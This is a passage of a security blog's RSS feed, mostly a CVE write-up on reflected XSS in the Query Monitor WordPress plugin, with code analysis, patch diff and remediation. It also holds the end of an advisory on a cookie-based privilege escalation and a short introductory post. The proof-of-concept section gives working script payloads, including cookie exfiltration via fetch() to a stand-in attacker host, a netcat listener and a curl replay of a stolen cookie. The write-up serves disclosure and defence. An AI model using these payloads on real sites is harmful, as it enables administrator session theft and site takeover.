&lt;td&gt;Publicly disclosed via Wordfence Intelligence; version &lt;code&gt;1.4.0&lt;/code&gt; released with the fix&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update the &lt;code&gt;debugger-troubleshooter&lt;/code&gt; plugin to version &lt;code&gt;1.4.0&lt;/code&gt; or later immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If updating is not immediately possible:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Deactivate the plugin entirely&lt;/strong&gt; — this is a debugging tool, it should not normally be active on production sites.&lt;/li&gt;
&lt;li&gt;As a temporary mitigation, block the cookie at the web-server / WAF layer:
&lt;ul&gt;
&lt;li&gt;Drop any incoming &lt;code&gt;Cookie:&lt;/code&gt; header containing &lt;code&gt;wp_debug_troubleshoot_simulate_user&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;After updating, audit the user list (&lt;code&gt;wp user list --role=administrator&lt;/code&gt;) for any unfamiliar administrator accounts and review recent &lt;code&gt;wp_options&lt;/code&gt;, plugin installations, and file modifications for signs of post-exploitation activity.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Wordfence advisory: &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/debugger-troubleshooter/debugger-troubleshooter-132-unauthenticated-privilege-escalation-to-administrator-via-cookie-manipulation&quot;&gt;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/debugger-troubleshooter/debugger-troubleshooter-132-unauthenticated-privilege-escalation-to-administrator-via-cookie-manipulation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vulnerable source — cookie ingestion (line 827, post-patch numbering): &lt;a href=&quot;https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L827&quot;&gt;https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L827&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vulnerable source — &lt;code&gt;simulate_user_filter&lt;/code&gt; (line 849): &lt;a href=&quot;https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L849&quot;&gt;https://plugins.trac.wordpress.org/browser/debugger-troubleshooter/tags/1.3.2/debug-troubleshooter.php#L849&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Patch changeset: &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3486202/debugger-troubleshooter/trunk/debug-troubleshooter.php&quot;&gt;https://plugins.trac.wordpress.org/changeset/3486202/debugger-troubleshooter/trunk/debug-troubleshooter.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Plugin homepage: &lt;a href=&quot;https://wordpress.org/plugins/debugger-troubleshooter/&quot;&gt;https://wordpress.org/plugins/debugger-troubleshooter/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE record: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5130&quot;&gt;https://www.cve.org/CVERecord?id=CVE-2026-5130&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CWE-565: &lt;a href=&quot;https://cwe.mitre.org/data/definitions/565.html&quot;&gt;https://cwe.mitre.org/data/definitions/565.html&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-10T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Hello, World</title><link>https://hurayraiit.com/blog/01-hello/</link><guid isPermaLink="true">https://hurayraiit.com/blog/01-hello/</guid><description>Abu Hurayra introduces his personal blog covering application security, CVE research, test automation, and open-source WordPress contributions.</description><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Welcome. I&apos;m Abu Hurayra, and this is my personal blog.&lt;/p&gt;
&lt;p&gt;I&apos;ve been meaning to start one of these for a while. I spend a lot of time digging into security vulnerabilities, building test automation frameworks, and contributing to open source — and most of that work lives in GitHub repos, CVE advisories, and internal documentation that nobody else sees. This blog is my attempt to change that.&lt;/p&gt;
&lt;h2&gt;What to expect&lt;/h2&gt;
&lt;p&gt;I&apos;ll write about things I actually work on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Application security&lt;/strong&gt; — vulnerability research, CVE writeups, secure coding patterns, and lessons from auditing large WordPress codebases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test automation&lt;/strong&gt; — Playwright, Cypress, Selenium. What works, what doesn&apos;t, and how to build frameworks that hold up over time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux and DevOps&lt;/strong&gt; — the day-to-day tooling of running CI/CD pipelines, GitHub Actions, Docker, and n8n workflows.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Open source&lt;/strong&gt; — contributing to WordPress core, community building, and the Bangladesh QA community.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;A bit about me&lt;/h2&gt;
&lt;p&gt;I&apos;m the Lead Application Security Engineer at &lt;a href=&quot;https://wpdeveloper.com&quot;&gt;WPDeveloper&lt;/a&gt;, where I lead a small security team protecting products used by over 6 million people. My security research has resulted in 250+ CVE assignments. I also hold the Core Contributor and Test Contributor badges for WordPress.&lt;/p&gt;
&lt;p&gt;If any of that sounds interesting, stick around. There&apos;s more coming.&lt;/p&gt;
&lt;p&gt;— Abu Hurayra&lt;/p&gt;
</content:encoded><atom:updated>2026-04-03T00:00:00.000Z</atom:updated><category>meta</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4267: Unauthenticated Reflected XSS in Query Monitor Plugin</title><link>https://hurayraiit.com/blog/cve-2026-4267-reflected-xss-in-query-monitor/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4267-reflected-xss-in-query-monitor/</guid><description>CVE-2026-4267: CVSS 7.2 Reflected XSS in Query Monitor (≤ 3.20.3) allows unauthenticated attackers to execute scripts in privileged WordPress sessions.</description><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4267&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; Reflected Cross-Site Scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/query-monitor/&quot;&gt;Query Monitor – The Developer Tools Panel for WordPress&lt;/a&gt; plugin. All versions up to and including &lt;strong&gt;3.20.3&lt;/strong&gt; are affected. An unauthenticated attacker can inject arbitrary JavaScript into the Query Monitor panel by crafting a malicious URL and tricking a privileged WordPress user (such as an administrator) into visiting it, potentially leading to full session hijacking or site takeover.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Query Monitor – The Developer Tools Panel for WordPress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;query-monitor&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4267&quot;&gt;CVE-2026-4267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reflected Cross-Site Scripting via Request URI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/query-monitor.3.20.3.zip&quot;&gt;&amp;lt;= 3.20.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/query-monitor.3.20.4.zip&quot;&gt;3.20.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/dmitriy-ignatyev-8a9189267/&quot;&gt;Dmitrii Ignatyev - CleanTalk Inc&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/query-monitor/query-monitor-3203-reflected-cross-site-scripting-via-request-uri&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Query Monitor – The Developer Tools Panel for WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the &lt;code&gt;$_SERVER[&apos;REQUEST_URI&apos;]&lt;/code&gt; parameter in all versions up to, and including, 3.20.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user (who has Query Monitor viewing access) into performing an action such as clicking on a crafted link.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability spans three layers: data collection, URL formatting, and HTML output.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 1: Data Collection — &lt;code&gt;collectors/request.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On &lt;strong&gt;admin pages&lt;/strong&gt; (lines 186–195), &lt;code&gt;$_SERVER[&apos;REQUEST_URI&apos;]&lt;/code&gt; is read directly, unslashed, and stored with only a path prefix stripped — no HTML encoding:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// collectors/request.php, lines 186–195
if ( is_admin() ) {
    if ( isset( $_SERVER[&apos;REQUEST_URI&apos;] ) ) {
        $path = parse_url( home_url(), PHP_URL_PATH );
        $home_path = trim( $path ?: &apos;&apos;, &apos;/&apos; );
        $request = wp_unslash( $_SERVER[&apos;REQUEST_URI&apos;] ); // phpcs:ignore

        $this-&amp;gt;data-&amp;gt;request[&apos;request&apos;] = str_replace( &quot;/{$home_path}/&quot;, &apos;&apos;, $request );
    } else {
        $this-&amp;gt;data-&amp;gt;request[&apos;request&apos;] = &apos;&apos;;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On &lt;strong&gt;front-end pages&lt;/strong&gt; (lines 199–202), the &lt;code&gt;request&lt;/code&gt; item comes from &lt;code&gt;$wp-&amp;gt;request&lt;/code&gt;, which is WordPress&apos;s internal parse of the URI — also not HTML-encoded at this stage:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;} else {
    foreach ( array( &apos;request&apos;, &apos;matched_rule&apos;, &apos;matched_query&apos;, &apos;query_string&apos; ) as $item ) {
        $this-&amp;gt;data-&amp;gt;request[ $item ] = $wp-&amp;gt;$item;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Layer 2: URL Formatting — &lt;code&gt;output/Html.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;format_url()&lt;/code&gt; static method is responsible for making long, multi-parameter URLs more readable in the UI by line-breaking on &lt;code&gt;&amp;amp;&lt;/code&gt;. However, it contains a fatal bypass (lines 487–494):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// output/Html.php, lines 487–494
public static function format_url( $url ) {
    // If there&apos;s no query string or only a single query parameter, return the URL as is.
    if ( ! str_contains( $url, &apos;&amp;amp;&apos; ) ) {
        return $url;  // ← RAW, UNESCAPED return
    }

    return str_replace( array( &apos;?&apos;, &apos;&amp;amp;amp;&apos; ), array( &apos;&amp;lt;br&amp;gt;?&apos;, &apos;&amp;lt;br&amp;gt;&amp;amp;amp;&apos; ), esc_html( $url ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the URL does &lt;strong&gt;not&lt;/strong&gt; contain an &lt;code&gt;&amp;amp;&lt;/code&gt; character (i.e. no multiple query parameters), the function returns the raw, attacker-controlled string without any escaping. When the URL &lt;strong&gt;does&lt;/strong&gt; contain &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;esc_html()&lt;/code&gt; is correctly applied first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 3: HTML Output — &lt;code&gt;output/html/request.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;output()&lt;/code&gt; method calls &lt;code&gt;format_url()&lt;/code&gt; for the &lt;code&gt;request&lt;/code&gt;, &lt;code&gt;matched_query&lt;/code&gt;, and &lt;code&gt;query_string&lt;/code&gt; fields, then echoes the result directly into the HTML without a second escaping pass (lines 58–70):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// output/html/request.php, lines 58–70
if ( ! empty( $data-&amp;gt;request[ $item ] ) ) {
    if ( in_array( $item, array( &apos;request&apos;, &apos;matched_query&apos;, &apos;query_string&apos; ), true ) ) {
        $value = self::format_url( $data-&amp;gt;request[ $item ] );  // ← may be raw
    } else {
        $value = esc_html( $data-&amp;gt;request[ $item ] );
    }
} else {
    $value = &apos;&amp;lt;em&amp;gt;&apos; . esc_html__( &apos;none&apos;, &apos;query-monitor&apos; ) . &apos;&amp;lt;/em&amp;gt;&apos;;
}

echo &apos;&amp;lt;section&amp;gt;&apos; . &quot;\n&quot;;
echo &apos;&amp;lt;h3&amp;gt;&apos; . esc_html( $name ) . &apos;&amp;lt;/h3&amp;gt;&apos; . &quot;\n&quot;;
echo &apos;&amp;lt;p class=&quot;qm-ltr&quot;&amp;gt;&amp;lt;code&amp;gt;&apos; . $value . &apos;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;&apos;; // ← raw $value echoed
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;format_url()&lt;/code&gt; method in &lt;code&gt;output/Html.php&lt;/code&gt; applies &lt;code&gt;esc_html()&lt;/code&gt; only in the code path where the URL contains &lt;code&gt;&amp;amp;&lt;/code&gt; (multiple query parameters). In the single-parameter (or no-parameter) branch, it returns the raw string directly. Since the return value is echoed into an HTML context without any subsequent escaping, any HTML/JavaScript injected into &lt;code&gt;$_SERVER[&apos;REQUEST_URI&apos;]&lt;/code&gt; is rendered by the browser.&lt;/p&gt;
&lt;p&gt;The misleading comment &lt;code&gt;// WPCS: XSS ok&lt;/code&gt; on the echo line in &lt;code&gt;output/html/request.php:70&lt;/code&gt; suggests the original developer incorrectly believed the output was already safe, leading to no second-level escaping.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;There was no escaping applied in the &lt;code&gt;format_url()&lt;/code&gt; short-circuit path. The comment &lt;code&gt;// WPCS: XSS ok&lt;/code&gt; in &lt;code&gt;output/html/request.php&lt;/code&gt; indicates the developer assumed safety was handled upstream by &lt;code&gt;format_url()&lt;/code&gt;, but &lt;code&gt;format_url()&lt;/code&gt; only sanitized when &lt;code&gt;&amp;amp;&lt;/code&gt; was present. For clean URLs (no &lt;code&gt;&amp;amp;&lt;/code&gt;), the raw URI passed through completely untouched.&lt;/p&gt;
&lt;h3&gt;Access Control and Attack Scope&lt;/h3&gt;
&lt;p&gt;Query Monitor restricts its HTML output to users who pass the &lt;code&gt;user_can_view()&lt;/code&gt; check (&lt;code&gt;classes/Dispatcher.php:171&lt;/code&gt;), which requires either:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The WordPress capability &lt;code&gt;view_query_monitor&lt;/code&gt;, OR&lt;/li&gt;
&lt;li&gt;A valid WordPress authentication cookie (checked via &lt;code&gt;wp_validate_auth_cookie&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This means the XSS payload executes in the browser of any logged-in WordPress user who has Query Monitor viewing access — typically site administrators or developers. An unauthenticated attacker does not need any credentials to craft the malicious URL, but must socially engineer a privileged user into visiting it.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;A successful exploit allows an attacker to execute arbitrary JavaScript in the victim&apos;s browser session. Depending on the victim&apos;s privilege level, this can lead to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Session hijacking&lt;/strong&gt; — stealing the admin authentication cookie&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin account takeover&lt;/strong&gt; — creating new administrator accounts or changing passwords via AJAX&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Persistent backdoor installation&lt;/strong&gt; — injecting malicious plugins, themes, or content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential harvesting&lt;/strong&gt; — serving fake login forms&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site defacement or SEO spam injection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;query-monitor&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.20.3&lt;/li&gt;
&lt;li&gt;The victim user must have &lt;code&gt;view_query_monitor&lt;/code&gt; capability (typically an administrator) and be logged into the WordPress site&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Craft the malicious URL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Construct a URL that embeds a JavaScript payload inside the path component of the WordPress site URL. Because the path (before &lt;code&gt;?&lt;/code&gt;) is used as the &lt;code&gt;request&lt;/code&gt; value and passed through &lt;code&gt;format_url()&lt;/code&gt; without escaping (when there is no &lt;code&gt;&amp;amp;&lt;/code&gt; in the value), script tags inject cleanly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://victim-site.example.com/&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a more realistic account-takeover payload, craft a URL that sends the admin&apos;s cookies to the attacker:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://victim-site.example.com/&amp;lt;script&amp;gt;fetch(&apos;https://attacker.example.com/collect?c=&apos;+btoa(document.cookie))&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Deliver the link to a privileged user&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send the crafted URL to a WordPress administrator via email, Slack, GitHub issue, or any social engineering vector. The message might look like:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Hey, can you check this page on your WordPress site? I think something&apos;s broken: &lt;code&gt;https://victim-site.example.com/&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code&gt;&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Victim visits the URL while logged in&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When the logged-in administrator visits the URL:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WordPress loads the page and the Query Monitor plugin is activated&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;QM_Collector_Request::process()&lt;/code&gt; method reads &lt;code&gt;$_SERVER[&apos;REQUEST_URI&apos;]&lt;/code&gt; and stores the raw malicious string in &lt;code&gt;$data-&amp;gt;request[&apos;request&apos;]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;QM_Output_Html_Request::output()&lt;/code&gt; method calls &lt;code&gt;self::format_url()&lt;/code&gt; on this value&lt;/li&gt;
&lt;li&gt;Since the URI contains no &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;format_url()&lt;/code&gt; returns the raw string as-is&lt;/li&gt;
&lt;li&gt;The raw string (containing the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag) is echoed into the Query Monitor HTML panel&lt;/li&gt;
&lt;li&gt;The browser renders the panel and executes the injected script&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Verify execution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Using the simple &lt;code&gt;alert&lt;/code&gt; payload, a dialog box pops up showing the current page&apos;s cookies, confirming JavaScript execution in the context of the victim&apos;s session.&lt;/p&gt;
&lt;p&gt;Using a cookie-exfiltration payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# On attacker machine, start a listener:
nc -lvnp 8080

# Craft URL with exfiltration payload:
# https://victim-site.example.com/&amp;lt;script&amp;gt;fetch(&apos;http://ATTACKER_IP:8080/?c=&apos;+btoa(document.cookie))&amp;lt;/script&amp;gt;
# When admin visits this URL, cookies appear in the netcat listener
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker receives the administrator&apos;s WordPress session cookies, enabling full account takeover — login, privilege escalation, plugin installation, or any other administrative action.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm the exploit succeeded by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Alert PoC&lt;/strong&gt;: A JavaScript alert dialog appears with &lt;code&gt;document.cookie&lt;/code&gt; contents when the admin visits the URL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exfiltration PoC&lt;/strong&gt;: Cookies appear in the attacker&apos;s HTTP listener, decodable with &lt;code&gt;echo &amp;lt;base64&amp;gt; | base64 -d&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Account takeover&lt;/strong&gt;: Use the exfiltrated cookie with a tool like &lt;code&gt;curl -b &quot;wordpress_logged_in_xxx=...&quot; https://victim-site.example.com/wp-admin/&lt;/code&gt; to verify authenticated access.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only two meaningful files changed in the security fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;output/Html.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;esc_html()&lt;/code&gt; to the short-circuit return path in &lt;code&gt;format_url()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;query-monitor.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version bump &lt;code&gt;3.20.3&lt;/code&gt; → &lt;code&gt;3.20.4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;readme.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changelog entry added for the security release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wp-content/db.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version bump only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vendor/composer/installed.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Composer reference hash update&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The fix is a single-line change in &lt;code&gt;output/Html.php:490&lt;/code&gt;. In the vulnerable version, when the URL contained no &lt;code&gt;&amp;amp;&lt;/code&gt; character, &lt;code&gt;format_url()&lt;/code&gt; returned the raw URL. The patch wraps that return value in &lt;code&gt;esc_html()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Before (vulnerable):
if ( ! str_contains( $url, &apos;&amp;amp;&apos; ) ) {
    return $url;
}

// After (patched):
if ( ! str_contains( $url, &apos;&amp;amp;&apos; ) ) {
    return esc_html( $url );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The multi-parameter path already called &lt;code&gt;esc_html()&lt;/code&gt; before the &lt;code&gt;str_replace()&lt;/code&gt;, so it was never affected.&lt;/p&gt;
&lt;p&gt;The fix is complete and addresses the root cause directly. Both code paths in &lt;code&gt;format_url()&lt;/code&gt; now HTML-encode the URL before returning it, so the echo in &lt;code&gt;output/html/request.php:70&lt;/code&gt; is safe regardless of URL structure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual risk&lt;/strong&gt;: None identified. The fix is a pure output-encoding change with no side effects on functionality, since &lt;code&gt;esc_html()&lt;/code&gt; converts &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt;, and &lt;code&gt;&apos;&lt;/code&gt; to their HTML entity equivalents, which browsers will display correctly as text.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/output/Html.php
+++ b/output/Html.php
@@ -487,7 +487,7 @@ abstract class QM_Output_Html extends QM_Output {
 	public static function format_url( $url ) {
 		// If there&apos;s no query string or only a single query parameter, return the URL as is.
 		if ( ! str_contains( $url, &apos;&amp;amp;&apos; ) ) {
-			return $url;
+			return esc_html( $url );
 		}
 
 		return str_replace( array( &apos;?&apos;, &apos;&amp;amp;amp;&apos; ), array( &apos;&amp;lt;br&amp;gt;?&apos;, &apos;&amp;lt;br&amp;gt;&amp;amp;amp;&apos; ), esc_html( $url ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 19, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.20.4 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed via Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 6, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;query-monitor&lt;/code&gt; plugin to version &lt;strong&gt;3.20.4&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, consider temporarily deactivating the plugin on publicly-accessible sites where administrators may be socially engineered into clicking untrusted links.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/query-monitor/query-monitor-3203-reflected-cross-site-scripting-via-request-uri&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
